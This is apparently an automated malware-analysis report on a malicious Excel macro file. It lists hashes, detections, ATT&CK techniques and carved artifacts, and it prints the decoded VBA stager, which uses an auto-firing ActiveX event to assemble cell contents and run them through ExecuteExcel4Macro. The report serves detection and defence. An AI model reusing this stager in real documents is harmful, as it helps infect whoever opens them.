Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ee527aa3cdae6929…

MALICIOUS

Office (OOXML)

37.9 KB Created: 2020-07-14 10:59:26 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: c12e6e232cf7362299778dc59a34453f SHA-1: 1016d6276a5f4808ae1afbddaeec6cb1af149cdc SHA-256: ee527aa3cdae692903bfda51ad479f46484eb48e67f9c1e5ac6d3efb1ca56a7f
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML file containing VBA macros. The critical heuristic 'OLE_VBA_ACTIVEX_XLM_STAGER' indicates that an ActiveX event triggers the execution of decoded Excel 4.0 macros via ExecuteExcel4Macro. The VBA script concatenates values into a string 'Z', splits it by 'f', and then executes each part using ExecuteExcel4Macro. This process is designed to download and execute a secondary payload, as suggested by the ClamAV detection name 'Xls.Malware.Mrhl-9774585-0'.

Heuristics 3

  • ClamAV: Xls.Malware.Mrhl-9774585-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Mrhl-9774585-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    VBA code attached to an auto-firing ActiveX/UserForm control event (e.g. _Layout/_Change/_Painted) decodes a string with Replace/Split/Join/StrReverse/Chr and passes the recovered formula text to ExecuteExcel4Macro. This bridges VBA event activation into XLM formula execution to call Win32 APIs / drop payloads while evading AutoOpen and Shell keyword detection — a high-confidence macro stager, not a specific Office parser CVE.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1124 bytes
SHA-256: d736de01892151652a420a739ef3dd831df2c54dfdd97e6abca389110939c82c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Visualizza, 1, 0, MSForms, Frame"
Sub vizualizza()
MsgBox "vizualizza", vbInformation: ActiveWorkbook.Close 0
End Sub
Private Sub Visualizza_Layout()
On Error Resume Next
For i = 2 To 3701: For ii = 1 To 200
fh = Cells(i, ii): If IsEmpty(fh) = 0 Then m = m & fh
Next: Z = Z & Chr(m): m = "": Next: k = Split(Z, "f")
For Each ff In k: Debug.Print ExecuteExcel4Macro(ff): Next: Application.WindowState = xlMinimized: Application.Dialogs(xlDialogPrint).Show
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: 7a797de807b79e505026ec526a61a406be19d10b651db203df6c72df37ed771c
Detection
ClamAV: Xls.Malware.Mrhl-9774585-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 3516 bytes
SHA-256: 67713894f8b33ef7279bf7c8774cf16c437b5fd601034e893f1d86eb1fca1b43

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